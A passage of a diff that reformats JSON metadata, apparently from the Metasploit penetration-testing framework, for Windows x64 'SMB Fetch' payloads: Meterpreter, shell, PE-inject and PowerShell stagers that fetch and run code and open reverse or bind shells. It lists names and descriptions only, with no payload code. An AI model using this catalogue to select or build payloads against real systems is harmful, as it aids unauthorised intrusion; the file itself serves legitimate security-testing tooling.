server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236111,8 +209931,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236125,9 +209944,7 @@ "payload_cmd/windows/smb/x64/custom/bind_tcp_uuid": { "name": "SMB Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236138,9 +209955,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236154,8 +209969,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236168,9 +209982,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_http": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236180,9 +209992,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236196,8 +210006,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236210,9 +210019,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_https": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236224,9 +210031,7 @@ "rwincey" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236240,8 +210045,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236254,9 +210058,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_named_pipe": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236266,9 +210068,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236282,8 +210082,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236296,9 +210095,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_tcp": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236308,9 +210105,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236324,8 +210119,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236338,9 +210132,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_tcp_rc4": { "name": "SMB Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236355,9 +210147,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236371,8 +210161,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236385,9 +210174,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_tcp_uuid": { "name": "SMB Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236398,9 +210185,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236414,8 +210199,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236428,9 +210212,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_winhttp": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236440,9 +210222,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236456,8 +210236,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236470,9 +210249,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_winhttps": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236482,9 +210259,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236498,8 +210273,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236512,9 +210286,7 @@ "payload_cmd/windows/smb/x64/encrypted_shell/reverse_tcp": { "name": "SMB Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", "fullname": "payload/cmd/windows/smb/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236524,9 +210296,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236540,8 +210310,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236554,9 +210323,7 @@ "payload_cmd/windows/smb/x64/encrypted_shell_reverse_tcp": { "name": "SMB Fetch, Windows Encrypted Reverse Shell", "fullname": "payload/cmd/windows/smb/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236566,9 +210333,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from an SMB server.\nConnect back to attacker and spawn an encrypted command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236582,8 +210347,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236594,9 +210358,7 @@ "payload_cmd/windows/smb/x64/exec": { "name": "SMB Fetch, Windows x64 Execute Command", "fullname": "payload/cmd/windows/smb/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236605,9 +210367,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nExecute an arbitrary command (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236621,8 +210381,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236633,9 +210392,7 @@ "payload_cmd/windows/smb/x64/loadlibrary": { "name": "SMB Fetch, Windows x64 LoadLibrary Path", "fullname": "payload/cmd/windows/smb/x64/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236645,9 +210402,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nLoad an arbitrary x64 library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236661,8 +210416,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236673,9 +210427,7 @@ "payload_cmd/windows/smb/x64/messagebox": { "name": "SMB Fetch, Windows MessageBox x64", "fullname": "payload/cmd/windows/smb/x64/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236684,9 +210436,7 @@ "pasta " ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236700,8 +210450,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236712,9 +210461,7 @@ "payload_cmd/windows/smb/x64/meterpreter/bind_ipv6_tcp": { "name": "SMB Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236742,8 +210489,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236756,9 +210502,7 @@ "payload_cmd/windows/smb/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "SMB Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/smb/x64/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236786,8 +210530,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236800,9 +210543,7 @@ "payload_cmd/windows/smb/x64/meterpreter/bind_named_pipe": { "name": "SMB Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/smb/x64/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236831,8 +210572,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236845,9 +210585,7 @@ "payload_cmd/windows/smb/x64/meterpreter/bind_tcp": { "name": "SMB Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236875,8 +210613,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236889,9 +210626,7 @@ "payload_cmd/windows/smb/x64/meterpreter/bind_tcp_rc4": { "name": "SMB Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236923,8 +210658,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236937,9 +210671,7 @@ "payload_cmd/windows/smb/x64/meterpreter/bind_tcp_uuid": { "name": "SMB Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236967,8 +210699,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236981,9 +210712,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_http": { "name": "SMB Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237011,8 +210740,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237025,9 +210753,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_https": { "name": "SMB Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237058,8 +210784,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237072,9 +210797,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_named_pipe": { "name": "SMB Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237102,8 +210825,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237116,9 +210838,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_tcp": { "name": "SMB Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237146,8 +210866,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237160,9 +210879,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_tcp_rc4": { "name": "SMB Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237194,8 +210911,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237208,9 +210924,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_tcp_uuid": { "name": "SMB Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237238,8 +210952,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237252,9 +210965,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_winhttp": { "name": "SMB Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237282,8 +210993,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237296,9 +211006,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_winhttps": { "name": "SMB Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237326,8 +211034,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237340,9 +211047,7 @@ "payload_cmd/windows/smb/x64/meterpreter_bind_named_pipe": { "name": "SMB Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter_bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237370,8 +211075,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237382,9 +211086,7 @@ "payload_cmd/windows/smb/x64/meterpreter_bind_tcp": { "name": "SMB Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237411,8 +211113,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237423,9 +211124,7 @@ "payload_cmd/windows/smb/x64/meterpreter_reverse_http": { "name": "SMB Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237452,8 +211151,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237464,9 +211162,7 @@ "payload_cmd/windows/smb/x64/meterpreter_reverse_https": { "name": "SMB Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237493,8 +211189,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237505,9 +211200,7 @@ "payload_cmd/windows/smb/x64/meterpreter_reverse_ipv6_tcp": { "name": "SMB Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237534,8 +211227,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237546,9 +211238,7 @@ "payload_cmd/windows/smb/x64/meterpreter_reverse_tcp": { "name": "SMB Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", "fullname": "payload/cmd/windows/smb/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237575,8 +211265,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237587,9 +211276,7 @@ "payload_cmd/windows/smb/x64/peinject/bind_ipv6_tcp": { "name": "SMB Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237615,8 +211302,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237629,9 +211315,7 @@ "payload_cmd/windows/smb/x64/peinject/bind_ipv6_tcp_uuid": { "name": "SMB Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/smb/x64/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237658,8 +211342,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237672,9 +211355,7 @@ "payload_cmd/windows/smb/x64/peinject/bind_named_pipe": { "name": "SMB Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/smb/x64/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237700,8 +211381,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237714,9 +211394,7 @@ "payload_cmd/windows/smb/x64/peinject/bind_tcp": { "name": "SMB Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237742,8 +211420,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237756,9 +211433,7 @@ "payload_cmd/windows/smb/x64/peinject/bind_tcp_rc4": { "name": "SMB Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237789,8 +211464,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237803,9 +211477,7 @@ "payload_cmd/windows/smb/x64/peinject/bind_tcp_uuid": { "name": "SMB Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237832,8 +211504,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237846,9 +211517,7 @@ "payload_cmd/windows/smb/x64/peinject/reverse_named_pipe": { "name": "SMB Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/smb/x64/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237874,8 +211543,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237888,9 +211556,7 @@ "payload_cmd/windows/smb/x64/peinject/reverse_tcp": { "name": "SMB Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/smb/x64/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237916,8 +211582,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237930,9 +211595,7 @@ "payload_cmd/windows/smb/x64/peinject/reverse_tcp_rc4": { "name": "SMB Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237963,8 +211626,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237977,9 +211639,7 @@ "payload_cmd/windows/smb/x64/peinject/reverse_tcp_uuid": { "name": "SMB Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238006,8 +211666,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238020,9 +211679,7 @@ "payload_cmd/windows/smb/x64/pingback_reverse_tcp": { "name": "SMB Fetch, Windows x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/windows/smb/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238031,9 +211688,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an SMB server.\nConnect back to attacker and report UUID (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -238047,8 +211702,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238059,9 +211713,7 @@ "payload_cmd/windows/smb/x64/powershell_bind_tcp": { "name": "SMB Fetch", "fullname": "payload/cmd/windows/smb/x64/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238088,8 +211740,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238100,9 +211751,7 @@ "payload_cmd/windows/smb/x64/powershell_reverse_tcp": { "name": "SMB Fetch", "fullname": "payload/cmd/windows/smb/x64/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238129,8 +211778,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238141,9 +211789,7 @@ "payload_cmd/windows/smb/x64/powershell_reverse_tcp_ssl": { "name": "SMB Fetch", "fullname": "payload/cmd/windows/smb/x64/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238170,8 +211816,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238182,9 +211827,7 @@ "payload_cmd/windows/smb/x64/shell/bind_ipv6_tcp": { "name": "SMB Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238193,9 +211836,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -238209,8 +211850,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238223,9 +211863,7 @@ "payload_cmd/windows/smb/x64/shell/bind_ipv6_tcp_uuid": { "name": "SMB Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/smb/x64/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238235,9 +211873,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -238251,8 +211887,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238265,9 +211900,7 @@ "payload_cmd/windows/smb/x64/shell/bind_named_pipe": { "name": "SMB Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/smb/x64/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238277,9 +211910,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], 